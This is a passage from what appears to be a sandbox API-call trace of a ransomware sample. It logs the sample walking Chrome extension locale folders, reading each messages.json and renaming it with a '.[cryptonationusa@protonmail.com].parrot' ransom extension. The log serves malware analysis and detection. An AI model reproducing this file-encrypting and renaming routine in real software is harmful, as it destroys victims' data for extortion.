ftLastAccessTime.dwLowDateTime=0x834397b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4afe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.396] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c16, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.396] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.396] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.398] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.398] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4afe, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x4afe, lpOverlapped=0x0) returned 1 [0074.400] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.401] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.401] CloseHandle (hObject=0x274) returned 1 [0074.401] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.404] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.404] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9d4ada0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9d4ada0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.404] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834370a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834397b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9d4ada0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.404] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.405] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.405] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.405] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.405] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.405] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8343e5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.405] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e92, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.405] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.405] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.445] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.445] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3d7a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3d7a, lpOverlapped=0x0) returned 1 [0074.448] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.448] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.448] CloseHandle (hObject=0x274) returned 1 [0074.449] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.452] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.452] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9dbd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9dbd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.452] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8343e5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9dbd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.452] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.452] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.452] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8344d030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.452] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.452] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.452] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8344d030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x404b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.453] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4163, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.453] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.453] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.455] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.455] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x404b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x404b, lpOverlapped=0x0) returned 1 [0074.458] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.459] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4163, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.459] CloseHandle (hObject=0x274) returned 1 [0074.459] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.462] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.462] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9de3320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9de3320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.462] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8344d030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9dbd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4168, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.463] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.463] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.463] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.463] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.463] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.463] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.463] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f9d, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.463] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.463] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.465] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.465] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3e85, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3e85, lpOverlapped=0x0) returned 1 [0074.468] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.468] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f9d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.468] CloseHandle (hObject=0x274) returned 1 [0074.469] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.471] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.472] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9de3320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9de3320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.472] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9de3320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.472] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.472] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.472] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.472] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.472] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.473] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x480d, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.473] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.473] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.475] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.475] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x46f5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x46f5, lpOverlapped=0x0) returned 1 [0074.477] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.478] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x480d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.478] CloseHandle (hObject=0x274) returned 1 [0074.478] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.481] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.482] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9e09480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9e09480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.482] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 